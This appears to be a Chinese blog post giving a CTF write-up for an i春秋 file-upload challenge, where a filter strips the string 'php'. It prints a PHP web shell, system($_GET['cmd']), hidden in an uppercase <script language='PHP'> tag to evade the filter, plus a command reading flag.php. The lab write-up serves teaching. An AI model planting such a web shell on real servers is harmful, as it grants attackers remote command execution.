i春秋 “百度杯”CTF比赛 九月场 Upload

版权声明:欢迎提问:[email protected] https://blog.csdn.net/include_heqile/article/details/82491099

https://www.ichunqiu.com/battalion?t=1

这道题其实很简单,就是一道文件上传题,他没有对文件类型作任何过滤,但是去过滤了文件内容php,字符串被过滤掉了,当我们上传<?phpsystem($_GET["cmd"]);之后,点击上传成功,查看页面源代码,会发现我们的文件被修改成了system($_GET["cmd"]);,自然而然的我们就会想到将其嵌入到html代码中:

<script language="PHP"> 
system($_GET["cmd"]);
</script>

因为我们知道php字符串会被过滤,所以我们将script标签中的php改成了PHP,这样就能绕过过滤了,然后就可以执行任意命令了,我么给cmd传参:cmd=cat ../flag.php,因为我们上传的文件在flag.php文件的下一目录,所以我们需要..回到flag.php所在目录,查看页面源代码获得flag

猜你喜欢

转载自blog.csdn.net/include_heqile/article/details/82491099